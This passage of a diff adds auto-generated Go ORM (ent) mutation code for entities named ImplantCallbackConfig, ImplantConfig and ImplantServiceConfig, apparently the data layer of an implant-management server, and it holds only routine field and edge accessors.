*ImplantCallbackConfigMutation) ClearField(name string) error { + return fmt.Errorf("unknown ImplantCallbackConfig nullable field %s", name) +} + +// ResetField resets all changes in the mutation for the field with the given name. +// It returns an error if the field is not defined in the schema. +func (m *ImplantCallbackConfigMutation) ResetField(name string) error { + switch name { + case implantcallbackconfig.FieldURI: + m.ResetURI() + return nil + case implantcallbackconfig.FieldPriority: + m.ResetPriority() + return nil + case implantcallbackconfig.FieldTimeout: + m.ResetTimeout() + return nil + case implantcallbackconfig.FieldInterval: + m.ResetInterval() + return nil + case implantcallbackconfig.FieldJitter: + m.ResetJitter() + return nil + } + return fmt.Errorf("unknown ImplantCallbackConfig field %s", name) +} + +// AddedEdges returns all edge names that were set/added in this mutation. +func (m *ImplantCallbackConfigMutation) AddedEdges() []string { + edges := make([]string, 0, 1) + if m.implantConfigs != nil { + edges = append(edges, implantcallbackconfig.EdgeImplantConfigs) + } + return edges +} + +// AddedIDs returns all IDs (to other nodes) that were added for the given edge +// name in this mutation. +func (m *ImplantCallbackConfigMutation) AddedIDs(name string) []ent.Value { + switch name { + case implantcallbackconfig.EdgeImplantConfigs: + ids := make([]ent.Value, 0, len(m.implantConfigs)) + for id := range m.implantConfigs { + ids = append(ids, id) + } + return ids + } + return nil +} + +// RemovedEdges returns all edge names that were removed in this mutation. +func (m *ImplantCallbackConfigMutation) RemovedEdges() []string { + edges := make([]string, 0, 1) + if m.removedimplantConfigs != nil { + edges = append(edges, implantcallbackconfig.EdgeImplantConfigs) + } + return edges +} + +// RemovedIDs returns all IDs (to other nodes) that were removed for the edge with +// the given name in this mutation. +func (m *ImplantCallbackConfigMutation) RemovedIDs(name string) []ent.Value { + switch name { + case implantcallbackconfig.EdgeImplantConfigs: + ids := make([]ent.Value, 0, len(m.removedimplantConfigs)) + for id := range m.removedimplantConfigs { + ids = append(ids, id) + } + return ids + } + return nil +} + +// ClearedEdges returns all edge names that were cleared in this mutation. +func (m *ImplantCallbackConfigMutation) ClearedEdges() []string { + edges := make([]string, 0, 1) + if m.clearedimplantConfigs { + edges = append(edges, implantcallbackconfig.EdgeImplantConfigs) + } + return edges +} + +// EdgeCleared returns a boolean which indicates if the edge with the given name +// was cleared in this mutation. +func (m *ImplantCallbackConfigMutation) EdgeCleared(name string) bool { + switch name { + case implantcallbackconfig.EdgeImplantConfigs: + return m.clearedimplantConfigs + } + return false +} + +// ClearEdge clears the value of the edge with the given name. It returns an error +// if that edge is not defined in the schema. +func (m *ImplantCallbackConfigMutation) ClearEdge(name string) error { + switch name { + } + return fmt.Errorf("unknown ImplantCallbackConfig unique edge %s", name) +} + +// ResetEdge resets all changes to the edge with the given name in this mutation. +// It returns an error if the edge is not defined in the schema. +func (m *ImplantCallbackConfigMutation) ResetEdge(name string) error { + switch name { + case implantcallbackconfig.EdgeImplantConfigs: + m.ResetImplantConfigs() + return nil + } + return fmt.Errorf("unknown ImplantCallbackConfig edge %s", name) +} + +// ImplantConfigMutation represents an operation that mutates the ImplantConfig nodes in the graph. +type ImplantConfigMutation struct { + config + op Op + typ string + id *int + name *string + authToken *string + clearedFields map[string]struct{} + implants map[int]struct{} + removedimplants map[int]struct{} + clearedimplants bool + serviceConfigs map[int]struct{} + removedserviceConfigs map[int]struct{} + clearedserviceConfigs bool + callbackConfigs map[int]struct{} + removedcallbackConfigs map[int]struct{} + clearedcallbackConfigs bool + done bool + oldValue func(context.Context) (*ImplantConfig, error) + predicates []predicate.ImplantConfig +} + +var _ ent.Mutation = (*ImplantConfigMutation)(nil) + +// implantconfigOption allows management of the mutation configuration using functional options. +type implantconfigOption func(*ImplantConfigMutation) + +// newImplantConfigMutation creates new mutation for the ImplantConfig entity. +func newImplantConfigMutation(c config, op Op, opts ...implantconfigOption) *ImplantConfigMutation { + m := &ImplantConfigMutation{ + config: c, + op: op, + typ: TypeImplantConfig, + clearedFields: make(map[string]struct{}), + } + for _, opt := range opts { + opt(m) + } + return m +} + +// withImplantConfigID sets the ID field of the mutation. +func withImplantConfigID(id int) implantconfigOption { + return func(m *ImplantConfigMutation) { + var ( + err error + once sync.Once + value *ImplantConfig + ) + m.oldValue = func(ctx context.Context) (*ImplantConfig, error) { + once.Do(func() { + if m.done { + err = errors.New("querying old values post mutation is not allowed") + } else { + value, err = m.Client().ImplantConfig.Get(ctx, id) + } + }) + return value, err + } + m.id = &id + } +} + +// withImplantConfig sets the old ImplantConfig of the mutation. +func withImplantConfig(node *ImplantConfig) implantconfigOption { + return func(m *ImplantConfigMutation) { + m.oldValue = func(context.Context) (*ImplantConfig, error) { + return node, nil + } + m.id = &node.ID + } +} + +// Client returns a new `ent.Client` from the mutation. If the mutation was +// executed in a transaction (ent.Tx), a transactional client is returned. +func (m ImplantConfigMutation) Client() *Client { + client := &Client{config: m.config} + client.init() + return client +} + +// Tx returns an `ent.Tx` for mutations that were executed in transactions; +// it returns an error otherwise. +func (m ImplantConfigMutation) Tx() (*Tx, error) { + if _, ok := m.driver.(*txDriver); !ok { + return nil, errors.New("ent: mutation is not running in a transaction") + } + tx := &Tx{config: m.config} + tx.init() + return tx, nil +} + +// ID returns the ID value in the mutation. Note that the ID is only available +// if it was provided to the builder or after it was returned from the database. +func (m *ImplantConfigMutation) ID() (id int, exists bool) { + if m.id == nil { + return + } + return *m.id, true +} + +// IDs queries the database and returns the entity ids that match the mutation's predicate. +// That means, if the mutation is applied within a transaction with an isolation level such +// as sql.LevelSerializable, the returned ids match the ids of the rows that will be updated +// or updated by the mutation. +func (m *ImplantConfigMutation) IDs(ctx context.Context) ([]int, error) { + switch { + case m.op.Is(OpUpdateOne | OpDeleteOne): + id, exists := m.ID() + if exists { + return []int{id}, nil + } + fallthrough + case m.op.Is(OpUpdate | OpDelete): + return m.Client().ImplantConfig.Query().Where(m.predicates...).IDs(ctx) + default: + return nil, fmt.Errorf("IDs is not allowed on %s operations", m.op) + } +} + +// SetName sets the "name" field. +func (m *ImplantConfigMutation) SetName(s string) { + m.name = &s +} + +// Name returns the value of the "name" field in the mutation. +func (m *ImplantConfigMutation) Name() (r string, exists bool) { + v := m.name + if v == nil { + return + } + return *v, true +} + +// OldName returns the old "name" field's value of the ImplantConfig entity. +// If the ImplantConfig object wasn't provided to the builder, the object is fetched from the database. +// An error is returned if the mutation operation is not UpdateOne, or the database query fails. +func (m *ImplantConfigMutation) OldName(ctx context.Context) (v string, err error) { + if !m.op.Is(OpUpdateOne) { + return v, errors.New("OldName is only allowed on UpdateOne operations") + } + if m.id == nil || m.oldValue == nil { + return v, errors.New("OldName requires an ID field in the mutation") + } + oldValue, err := m.oldValue(ctx) + if err != nil { + return v, fmt.Errorf("querying old value for OldName: %w", err) + } + return oldValue.Name, nil +} + +// ResetName resets all changes to the "name" field. +func (m *ImplantConfigMutation) ResetName() { + m.name = nil +} + +// SetAuthToken sets the "authToken" field. +func (m *ImplantConfigMutation) SetAuthToken(s string) { + m.authToken = &s +} + +// AuthToken returns the value of the "authToken" field in the mutation. +func (m *ImplantConfigMutation) AuthToken() (r string, exists bool) { + v := m.authToken + if v == nil { + return + } + return *v, true +} + +// OldAuthToken returns the old "authToken" field's value of the ImplantConfig entity. +// If the ImplantConfig object wasn't provided to the builder, the object is fetched from the database. +// An error is returned if the mutation operation is not UpdateOne, or the database query fails. +func (m *ImplantConfigMutation) OldAuthToken(ctx context.Context) (v string, err error) { + if !m.op.Is(OpUpdateOne) { + return v, errors.New("OldAuthToken is only allowed on UpdateOne operations") + } + if m.id == nil || m.oldValue == nil { + return v, errors.New("OldAuthToken requires an ID field in the mutation") + } + oldValue, err := m.oldValue(ctx) + if err != nil { + return v, fmt.Errorf("querying old value for OldAuthToken: %w", err) + } + return oldValue.AuthToken, nil +} + +// ResetAuthToken resets all changes to the "authToken" field. +func (m *ImplantConfigMutation) ResetAuthToken() { + m.authToken = nil +} + +// AddImplantIDs adds the "implants" edge to the Implant entity by ids. +func (m *ImplantConfigMutation) AddImplantIDs(ids ...int) { + if m.implants == nil { + m.implants = make(map[int]struct{}) + } + for i := range ids { + m.implants[ids[i]] = struct{}{} + } +} + +// ClearImplants clears the "implants" edge to the Implant entity. +func (m *ImplantConfigMutation) ClearImplants() { + m.clearedimplants = true +} + +// ImplantsCleared reports if the "implants" edge to the Implant entity was cleared. +func (m *ImplantConfigMutation) ImplantsCleared() bool { + return m.clearedimplants +} + +// RemoveImplantIDs removes the "implants" edge to the Implant entity by IDs. +func (m *ImplantConfigMutation) RemoveImplantIDs(ids ...int) { + if m.removedimplants == nil { + m.removedimplants = make(map[int]struct{}) + } + for i := range ids { + delete(m.implants, ids[i]) + m.removedimplants[ids[i]] = struct{}{} + } +} + +// RemovedImplants returns the removed IDs of the "implants" edge to the Implant entity. +func (m *ImplantConfigMutation) RemovedImplantsIDs() (ids []int) { + for id := range m.removedimplants { + ids = append(ids, id) + } + return +} + +// ImplantsIDs returns the "implants" edge IDs in the mutation. +func (m *ImplantConfigMutation) ImplantsIDs() (ids []int) { + for id := range m.implants { + ids = append(ids, id) + } + return +} + +// ResetImplants resets all changes to the "implants" edge. +func (m *ImplantConfigMutation) ResetImplants() { + m.implants = nil + m.clearedimplants = false + m.removedimplants = nil +} + +// AddServiceConfigIDs adds the "serviceConfigs" edge to the ImplantServiceConfig entity by ids. +func (m *ImplantConfigMutation) AddServiceConfigIDs(ids ...int) { + if m.serviceConfigs == nil { + m.serviceConfigs = make(map[int]struct{}) + } + for i := range ids { + m.serviceConfigs[ids[i]] = struct{}{} + } +} + +// ClearServiceConfigs clears the "serviceConfigs" edge to the ImplantServiceConfig entity. +func (m *ImplantConfigMutation) ClearServiceConfigs() { + m.clearedserviceConfigs = true +} + +// ServiceConfigsCleared reports if the "serviceConfigs" edge to the ImplantServiceConfig entity was cleared. +func (m *ImplantConfigMutation) ServiceConfigsCleared() bool { + return m.clearedserviceConfigs +} + +// RemoveServiceConfigIDs removes the "serviceConfigs" edge to the ImplantServiceConfig entity by IDs. +func (m *ImplantConfigMutation) RemoveServiceConfigIDs(ids ...int) { + if m.removedserviceConfigs == nil { + m.removedserviceConfigs = make(map[int]struct{}) + } + for i := range ids { + delete(m.serviceConfigs, ids[i]) + m.removedserviceConfigs[ids[i]] = struct{}{} + } +} + +// RemovedServiceConfigs returns the removed IDs of the "serviceConfigs" edge to the ImplantServiceConfig entity. +func (m *ImplantConfigMutation) RemovedServiceConfigsIDs() (ids []int) { + for id := range m.removedserviceConfigs { + ids = append(ids, id) + } + return +} + +// ServiceConfigsIDs returns the "serviceConfigs" edge IDs in the mutation. +func (m *ImplantConfigMutation) ServiceConfigsIDs() (ids []int) { + for id := range m.serviceConfigs { + ids = append(ids, id) + } + return +} + +// ResetServiceConfigs resets all changes to the "serviceConfigs" edge. +func (m *ImplantConfigMutation) ResetServiceConfigs() { + m.serviceConfigs = nil + m.clearedserviceConfigs = false + m.removedserviceConfigs = nil +} + +// AddCallbackConfigIDs adds the "callbackConfigs" edge to the ImplantCallbackConfig entity by ids. +func (m *ImplantConfigMutation) AddCallbackConfigIDs(ids ...int) { + if m.callbackConfigs == nil { + m.callbackConfigs = make(map[int]struct{}) + } + for i := range ids { + m.callbackConfigs[ids[i]] = struct{}{} + } +} + +// ClearCallbackConfigs clears the "callbackConfigs" edge to the ImplantCallbackConfig entity. +func (m *ImplantConfigMutation) ClearCallbackConfigs() { + m.clearedcallbackConfigs = true +} + +// CallbackConfigsCleared reports if the "callbackConfigs" edge to the ImplantCallbackConfig entity was cleared. +func (m *ImplantConfigMutation) CallbackConfigsCleared() bool { + return m.clearedcallbackConfigs +} + +// RemoveCallbackConfigIDs removes the "callbackConfigs" edge to the ImplantCallbackConfig entity by IDs. +func (m *ImplantConfigMutation) RemoveCallbackConfigIDs(ids ...int) { + if m.removedcallbackConfigs == nil { + m.removedcallbackConfigs = make(map[int]struct{}) + } + for i := range ids { + delete(m.callbackConfigs, ids[i]) + m.removedcallbackConfigs[ids[i]] = struct{}{} + } +} + +// RemovedCallbackConfigs returns the removed IDs of the "callbackConfigs" edge to the ImplantCallbackConfig entity. +func (m *ImplantConfigMutation) RemovedCallbackConfigsIDs() (ids []int) { + for id := range m.removedcallbackConfigs { + ids = append(ids, id) + } + return +} + +// CallbackConfigsIDs returns the "callbackConfigs" edge IDs in the mutation. +func (m *ImplantConfigMutation) CallbackConfigsIDs() (ids []int) { + for id := range m.callbackConfigs { + ids = append(ids, id) + } + return +} + +// ResetCallbackConfigs resets all changes to the "callbackConfigs" edge. +func (m *ImplantConfigMutation) ResetCallbackConfigs() { + m.callbackConfigs = nil + m.clearedcallbackConfigs = false + m.removedcallbackConfigs = nil +} + +// Where appends a list predicates to the ImplantConfigMutation builder. +func (m *ImplantConfigMutation) Where(ps ...predicate.ImplantConfig) { + m.predicates = append(m.predicates, ps...) +} + +// Op returns the operation name. +func (m *ImplantConfigMutation) Op() Op { + return m.op +} + +// Type returns the node type of this mutation (ImplantConfig). +func (m *ImplantConfigMutation) Type() string { + return m.typ +} + +// Fields returns all fields that were changed during this mutation. Note that in +// order to get all numeric fields that were incremented/decremented, call +// AddedFields(). +func (m *ImplantConfigMutation) Fields() []string { + fields := make([]string, 0, 2) + if m.name != nil { + fields = append(fields, implantconfig.FieldName) + } + if m.authToken != nil { + fields = append(fields, implantconfig.FieldAuthToken) + } + return fields +} + +// Field returns the value of a field with the given name. The second boolean +// return value indicates that this field was not set, or was not defined in the +// schema. +func (m *ImplantConfigMutation) Field(name string) (ent.Value, bool) { + switch name { + case implantconfig.FieldName: + return m.Name() + case implantconfig.FieldAuthToken: + return m.AuthToken() + } + return nil, false +} + +// OldField returns the old value of the field from the database. An error is +// returned if the mutation operation is not UpdateOne, or the query to the +// database failed. +func (m *ImplantConfigMutation) OldField(ctx context.Context, name string) (ent.Value, error) { + switch name { + case implantconfig.FieldName: + return m.OldName(ctx) + case implantconfig.FieldAuthToken: + return m.OldAuthToken(ctx) + } + return nil, fmt.Errorf("unknown ImplantConfig field %s", name) +} + +// SetField sets the value of a field with the given name. It returns an error if +// the field is not defined in the schema, or if the type mismatched the field +// type. +func (m *ImplantConfigMutation) SetField(name string, value ent.Value) error { + switch name { + case implantconfig.FieldName: + v, ok := value.(string) + if !ok { + return fmt.Errorf("unexpected type %T for field %s", value, name) + } + m.SetName(v) + return nil + case implantconfig.FieldAuthToken: + v, ok := value.(string) + if !ok { + return fmt.Errorf("unexpected type %T for field %s", value, name) + } + m.SetAuthToken(v) + return nil + } + return fmt.Errorf("unknown ImplantConfig field %s", name) +} + +// AddedFields returns all numeric fields that were incremented/decremented during +// this mutation. +func (m *ImplantConfigMutation) AddedFields() []string { + return nil +} + +// AddedField returns the numeric value that was incremented/decremented on a field +// with the given name. The second boolean return value indicates that this field +// was not set, or was not defined in the schema. +func (m *ImplantConfigMutation) AddedField(name string) (ent.Value, bool) { + return nil, false +} + +// AddField adds the value to the field with the given name. It returns an error if +// the field is not defined in the schema, or if the type mismatched the field +// type. +func (m *ImplantConfigMutation) AddField(name string, value ent.Value) error { + switch name { + } + return fmt.Errorf("unknown ImplantConfig numeric field %s", name) +} + +// ClearedFields returns all nullable fields that were cleared during this +// mutation. +func (m *ImplantConfigMutation) ClearedFields() []string { + return nil +} + +// FieldCleared returns a boolean indicating if a field with the given name was +// cleared in this mutation. +func (m *ImplantConfigMutation) FieldCleared(name string) bool { + _, ok := m.clearedFields[name] + return ok +} + +// ClearField clears the value of the field with the given name. It returns an +// error if the field is not defined in the schema. +func (m *ImplantConfigMutation) ClearField(name string) error { + return fmt.Errorf("unknown ImplantConfig nullable field %s", name) +} + +// ResetField resets all changes in the mutation for the field with the given name. +// It returns an error if the field is not defined in the schema. +func (m *ImplantConfigMutation) ResetField(name string) error { + switch name { + case implantconfig.FieldName: + m.ResetName() + return nil + case implantconfig.FieldAuthToken: + m.ResetAuthToken() + return nil + } + return fmt.Errorf("unknown ImplantConfig field %s", name) +} + +// AddedEdges returns all edge names that were set/added in this mutation. +func (m *ImplantConfigMutation) AddedEdges() []string { + edges := make([]string, 0, 3) + if m.implants != nil { + edges = append(edges, implantconfig.EdgeImplants) + } + if m.serviceConfigs != nil { + edges = append(edges, implantconfig.EdgeServiceConfigs) + } + if m.callbackConfigs != nil { + edges = append(edges, implantconfig.EdgeCallbackConfigs) + } + return edges +} + +// AddedIDs returns all IDs (to other nodes) that were added for the given edge +// name in this mutation. +func (m *ImplantConfigMutation) AddedIDs(name string) []ent.Value { + switch name { + case implantconfig.EdgeImplants: + ids := make([]ent.Value, 0, len(m.implants)) + for id := range m.implants { + ids = append(ids, id) + } + return ids + case implantconfig.EdgeServiceConfigs: + ids := make([]ent.Value, 0, len(m.serviceConfigs)) + for id := range m.serviceConfigs { + ids = append(ids, id) + } + return ids + case implantconfig.EdgeCallbackConfigs: + ids := make([]ent.Value, 0, len(m.callbackConfigs)) + for id := range m.callbackConfigs { + ids = append(ids, id) + } + return ids + } + return nil +} + +// RemovedEdges returns all edge names that were removed in this mutation. +func (m *ImplantConfigMutation) RemovedEdges() []string { + edges := make([]string, 0, 3) + if m.removedimplants != nil { + edges = append(edges, implantconfig.EdgeImplants) + } + if m.removedserviceConfigs != nil { + edges = append(edges, implantconfig.EdgeServiceConfigs) + } + if m.removedcallbackConfigs != nil { + edges = append(edges, implantconfig.EdgeCallbackConfigs) + } + return edges +} + +// RemovedIDs returns all IDs (to other nodes) that were removed for the edge with +// the given name in this mutation. +func (m *ImplantConfigMutation) RemovedIDs(name string) []ent.Value { + switch name { + case implantconfig.EdgeImplants: + ids := make([]ent.Value, 0, len(m.removedimplants)) + for id := range m.removedimplants { + ids = append(ids, id) + } + return ids + case implantconfig.EdgeServiceConfigs: + ids := make([]ent.Value, 0, len(m.removedserviceConfigs)) + for id := range m.removedserviceConfigs { + ids = append(ids, id) + } + return ids + case implantconfig.EdgeCallbackConfigs: + ids := make([]ent.Value, 0, len(m.removedcallbackConfigs)) + for id := range m.removedcallbackConfigs { + ids = append(ids, id) + } + return ids + } + return nil +} + +// ClearedEdges returns all edge names that were cleared in this mutation. +func (m *ImplantConfigMutation) ClearedEdges() []string { + edges := make([]string, 0, 3) + if m.clearedimplants { + edges = append(edges, implantconfig.EdgeImplants) + } + if m.clearedserviceConfigs { + edges = append(edges, implantconfig.EdgeServiceConfigs) + } + if m.clearedcallbackConfigs { + edges = append(edges, implantconfig.EdgeCallbackConfigs) + } + return edges +} + +// EdgeCleared returns a boolean which indicates if the edge with the given name +// was cleared in this mutation. +func (m *ImplantConfigMutation) EdgeCleared(name string) bool { + switch name { + case implantconfig.EdgeImplants: + return m.clearedimplants + case implantconfig.EdgeServiceConfigs: + return m.clearedserviceConfigs + case implantconfig.EdgeCallbackConfigs: + return m.clearedcallbackConfigs + } + return false +} + +// ClearEdge clears the value of the edge with the given name. It returns an error +// if that edge is not defined in the schema. +func (m *ImplantConfigMutation) ClearEdge(name string) error { + switch name { + } + return fmt.Errorf("unknown ImplantConfig unique edge %s", name) +} + +// ResetEdge resets all changes to the edge with the given name in this mutation. +// It returns an error if the edge is not defined in the schema. +func (m *ImplantConfigMutation) ResetEdge(name string) error { + switch name { + case implantconfig.EdgeImplants: + m.ResetImplants() + return nil + case implantconfig.EdgeServiceConfigs: + m.ResetServiceConfigs() + return nil + case implantconfig.EdgeCallbackConfigs: + m.ResetCallbackConfigs() + return nil + } + return fmt.Errorf("unknown ImplantConfig edge %s", name) +} + +// ImplantServiceConfigMutation represents an operation that mutates the ImplantServiceConfig nodes in the graph. +type ImplantServiceConfigMutation struct { + config + op Op + typ string + id *int + name *string + description *string + executablePath *string + clearedFields map[string]struct{} + implantConfigs map[int]struct{} + removedimplantConfigs map[int]struct{} + clearedimplantConfigs bool + done bool + oldValue func(context.Context) (*ImplantServiceConfig, error) + predicates []predicate.ImplantServiceConfig +} + +var _ ent.Mutation = (*ImplantServiceConfigMutation)(nil) + +// implantserviceconfigOption allows management of the mutation configuration using functional options. +type implantserviceconfigOption func(*ImplantServiceConfigMutation) + +// newImplantServiceConfigMutation creates new mutation for the ImplantServiceConfig entity. +func newImplantServiceConfigMutation(c config, op Op, opts ...implantserviceconfigOption) *ImplantServiceConfigMutation { + m := &ImplantServiceConfigMutation{ + config: c, + op: op, + typ: TypeImplantServiceConfig, + clearedFields: make(map[string]struct{}), + } + for _, opt := range opts { + opt(m) + } + return m +} + +// withImplantServiceConfigID sets the ID field of the mutation. +func withImplantServiceConfigID(id int) implantserviceconfigOption { + return func(m *ImplantServiceConfigMutation) { + var ( + err error + once sync.Once + value *ImplantServiceConfig + ) + m.oldValue = func(ctx context.Context) (*ImplantServiceConfig, error) { + once.Do(func() { + if m.done { + err = errors.New("querying old values post mutation is not allowed") + } else { + value, err = m.Client().ImplantServiceConfig.Get(ctx, id) + } + }) + return value, err + } + m.id = &id + } +} + +// withImplantServiceConfig sets the old ImplantServiceConfig of the mutation. +func withImplantServiceConfig(node *ImplantServiceConfig) implantserviceconfigOption { + return func(m *ImplantServiceConfigMutation) { + m.oldValue = func(context.Context) (*ImplantServiceConfig, error) { + return node, nil + } + m.id = &node.ID + } +} + +// Client returns a new `ent.Client` from the mutation. If the mutation was +// executed in a transaction (ent.Tx), a transactional client is returned. +func (m ImplantServiceConfigMutation) Client() *Client { + client := &Client{config: m.config} + client.init() + return client +} + +// Tx returns an `ent.Tx` for mutations that were executed in transactions; +// it returns an error otherwise. +func (m ImplantServiceConfigMutation) Tx() (*Tx, error) { + if _, ok := m.driver.(*txDriver); !ok { + return nil, errors.New("ent: mutation is not running in a transaction") + } + tx := &Tx{config: m.config} + tx.init() + return tx, nil +} + +// ID returns the ID value in the mutation. Note that the ID is only available +// if it was provided to the builder or after it was returned from the database. +func (m *ImplantServiceConfigMutation) ID() (id int, exists bool) { + if m.id == nil { + return + } + return *m.id, true +} + +// IDs queries the database and returns the entity ids that match the mutation's predicate. +// That means, if the mutation is applied within a transaction with an isolation level such +// as sql.LevelSerializable, the returned ids match the ids of the rows that will be updated +// or updated by the mutation. +func (m *ImplantServiceConfigMutation) IDs(ctx context.Context) ([]int, error) { + switch { + case m.op.Is(OpUpdateOne | OpDeleteOne): + id, exists := m.ID() + if exists { + return []int{id}, nil + } + fallthrough + case m.op.Is(OpUpdate | OpDelete): + return m.Client().ImplantServiceConfig.Query().Where(m.predicates...).IDs(ctx) + default: + return nil, fmt.Errorf("IDs is not allowed on %s operations", m.op) + } +} + +// SetName sets the "name" field. +func (m *ImplantServiceConfigMutation) SetName(s string) { + m.name = &s +} + +// Name returns the value of the "name" field in the mutation. +func (m *ImplantServiceConfigMutation) Name() (r string, exists bool) { + v := m.name + if v == nil { + return + } + return *v, true +} + +// OldName returns the old "name" field's value of the ImplantServiceConfig entity. +// If the ImplantServiceConfig object wasn't provided to the builder, the object is fetched from the database. +// An error is returned if the mutation operation is not UpdateOne, or the database query fails. +func (m *ImplantServiceConfigMutation) OldName(ctx context.Context) (v string, err error) { + if !m.op.Is(OpUpdateOne) { + return v, errors.New("OldName is only allowed on UpdateOne operations") + } + if m.id == nil || m.oldValue == nil { + return v, errors.New("OldName requires an ID field in the mutation") + } + oldValue, err := m.oldValue(ctx) + if err != nil { + return v, fmt.Errorf("querying old value for OldName: %w", err) + } + return oldValue.Name, nil +} + +// ResetName resets all changes to the "name" field. +func (m *ImplantServiceConfigMutation) ResetName() { + m.name = nil +} + +// SetDescription sets the "description" field. +func (m *ImplantServiceConfigMutation) SetDescription(s string) { + m.description = &s +} + +// Description returns the value of the "description" field in the mutation. +func (m *ImplantServiceConfigMutation) Description() (r string, exists bool) { + v := m.description + if v == nil { + return + } + return *v, true +} + +// OldDescription returns the old "description" field's value of the ImplantServiceConfig entity. +// If the ImplantServiceConfig object wasn't provided to the builder, the object is fetched from the database. +// An error is returned if the mutation operation is not UpdateOne, or the database query fails. +func (m *ImplantServiceConfigMutation) OldDescription(ctx context.Context) (v string, err error) { + if !m.op.Is(OpUpdateOne) { + return v, errors.New("OldDescription is only allowed on UpdateOne operations") + } + if m.id == nil || m.oldValue == nil { + return v, errors.New("OldDescription requires an ID field in the mutation") + } + oldValue, err := m.oldValue(ctx) + if err != nil { + return v, fmt.Errorf("querying old value for OldDescription: %w", err) + } + return oldValue.Description, nil +} + +// ResetDescription resets all changes to the "description" field. +func (m *ImplantServiceConfigMutation) ResetDescription() { + m.description = nil +} + +// SetExecutablePath sets the "executablePath" field. +func (m *ImplantServiceConfigMutation) SetExecutablePath(s string) { + m.executablePath = &s +} + +// ExecutablePath returns the value of the "executablePath" field in the mutation. +func (m *ImplantServiceConfigMutation) ExecutablePath() (r string, exists bool) { + v := m.executablePath + if v == nil { + return + } + return *v, true +} + +// OldExecutablePath returns the old "executablePath" field's value of the ImplantServiceConfig entity. +// If the ImplantServiceConfig object wasn't provided to the builder, the object is fetched from the database. +// An error is returned if the mutation operation is not UpdateOne, or the database query fails. +func (m *ImplantServiceConfigMutation) OldExecutablePath(ctx context.Context) (v string, err error) { + if !m.op.Is(OpUpdateOne) { + return v, errors.New("OldExecutablePath is only allowed on UpdateOne operations") + } + if m.id == nil || m.oldValue == nil { + return v, errors.New("OldExecutablePath requires an ID field in the mutation") + } + oldValue, err := m.oldValue(ctx) + if err != nil { + return v, fmt.Errorf("querying old value for OldExecutablePath: %w", err) + } + return oldValue.ExecutablePath, nil +} + +// ResetExecutablePath resets all changes to the "executablePath" field. +func (m *ImplantServiceConfigMutation) ResetExecutablePath() { + m.executablePath = nil +} + +// AddImplantConfigIDs adds the "implantConfigs" edge to the ImplantConfig entity by ids. +func (m *ImplantServiceConfigMutation) AddImplantConfigIDs(ids ...int) { + if m.implantConfigs == nil { + m.implantConfigs = make(map[int]struct{}) + } + for i := range ids { + m.implantConfigs[ids[i]] = struct{}{} + } +} + +// ClearImplantConfigs clears the "implantConfigs" edge to the ImplantConfig entity. +func (m *ImplantServiceConfigMutation) ClearImplantConfigs() { + m.clearedimplantConfigs = true +} + +// ImplantConfigsCleared reports if the "implantConfigs" edge to the ImplantConfig entity was cleared. +func (m *ImplantServiceConfigMutation) ImplantConfigsCleared() bool { + return m.clearedimplantConfigs +} + +// RemoveImplantConfigIDs removes the "implantConfigs" edge to the ImplantConfig entity by IDs. +func (m *ImplantServiceConfigMutation) RemoveImplantConfigIDs(ids ...int) { + if m.removedimplantConfigs == nil { + m.removedimplantConfigs = make(map[int]struct{}) + } + for i := range ids { + delete(m.implantConfigs, ids[i]) + m.removedimplantConfigs[ids[i]] = struct{}{} + } +} + +// RemovedImplantConfigs returns the removed IDs of the "implantConfigs" edge to the ImplantConfig entity. +func (m *ImplantServiceConfigMutation) RemovedImplantConfigsIDs() (ids []int) { + for id := range m.removedimplantConfigs { + ids = append(ids, id) + } + return +} + +// ImplantConfigsIDs returns the "implantConfigs" edge IDs in the mutation. +func (m *ImplantServiceConfigMutation) ImplantConfigsIDs() (ids []int) { + for id := range m.implantConfigs { + ids = append(ids, id) + } + return +} + +// ResetImplantConfigs resets all changes to the "implantConfigs" edge. +func (m *ImplantServiceConfigMutation) ResetImplantConfigs() { + m.implantConfigs = nil + m.clearedimplantConfigs = false + m.removedimplantConfigs = nil +} + +// Where appends a list predicates to the ImplantServiceConfigMutation builder. +func (m *ImplantServiceConfigMutation) Where(ps ...predicate.ImplantServiceConfig) { + m.predicates = append(m.predicates, ps...) +} + +// Op returns the operation name. +func (m *ImplantServiceConfigMutation) Op() Op { + return m.op +} + +// Type returns the node type of this mutation (ImplantServiceConfig). +func (m *ImplantServiceConfigMutation) Type() string { + return m.typ +} + +// Fields returns all fields that were changed during this mutation. Note that in +// order to get all numeric fields that were incremented/decremented, call +// AddedFields(). +func (m *ImplantServiceConfigMutation) Fields() []string { + fields := make([]string, 0, 3) + if m.name != nil { + fields = append(fields, implantserviceconfig.FieldName) + } + if m.description != nil { + fields = append(fields, implantserviceconfig.FieldDescription) + } + if m.executablePath != nil { + fields = append(fields, implantserviceconfig.FieldExecutablePath) + } + return fields +} + +// Field returns the value of a field with the given name. The second boolean +// return value indicates that this field was not set, or was not defined in the +// schema. +func (m *ImplantServiceConfigMutation) Field(name string) (ent.Value, bool) { + switch name { + case implantserviceconfig.FieldName: + return m.Name() + case implantserviceconfig.FieldDescription: + return m.Description() + case implantserviceconfig.FieldExecutablePath: + return m.ExecutablePath() + } + return nil, false +} + +// OldField returns the old value of the field from the database. An error is +// returned if the mutation operation is not UpdateOne, or the query to the +// database failed. +func (m *ImplantServiceConfigMutation) OldField(ctx context.Context, name string) (ent.Value, error) { + switch name { + case implantserviceconfig.FieldName: + return m.OldName(ctx) + case implantserviceconfig.FieldDescription: + return m.OldDescription(ctx) + case implantserviceconfig.FieldExecutablePath: + return m.OldExecutablePath(ctx) + } + return nil, fmt.Errorf("unknown ImplantServiceConfig field %s", name) +} + +// SetField sets the value of a field with the given name. It returns an error if +// the field is not defined in the schema, or if the type mismatched the field +// type. +func (m *ImplantServiceConfigMutation) SetField(name string, value ent.Value) error { + switch name { + case implantserviceconfig.FieldName: + v, ok := value.(string) + if !ok { + return fmt.Errorf("unexpected type %T for field %s", value, name) + } + m.SetName(v) + return nil + case implantserviceconfig.FieldDescription: + v, ok := value.(string) + if !ok { + return fmt.Errorf("unexpected type %T for field %s", value, name) + } + m.SetDescription(v) + return nil + case implantserviceconfig.FieldExecutablePath: + v, ok := value.(string) + if !ok { + return fmt.Errorf("unexpected type %T for field %s", value, name) + } + m.SetExecutablePath(v) + return nil + } + return fmt.Errorf("unknown ImplantServiceConfig field %s", name) +} + +// AddedFields returns all numeric fields that were incremented/decremented during +// this mutation. +func (m *ImplantServiceConfigMutation) AddedFields() []string { + return nil +} + +// AddedField returns the numeric value that was incremented/decremented on a field +// with the given name. The second boolean return value indicates that this field +// was not set, or was not defined in the schema. +func (m 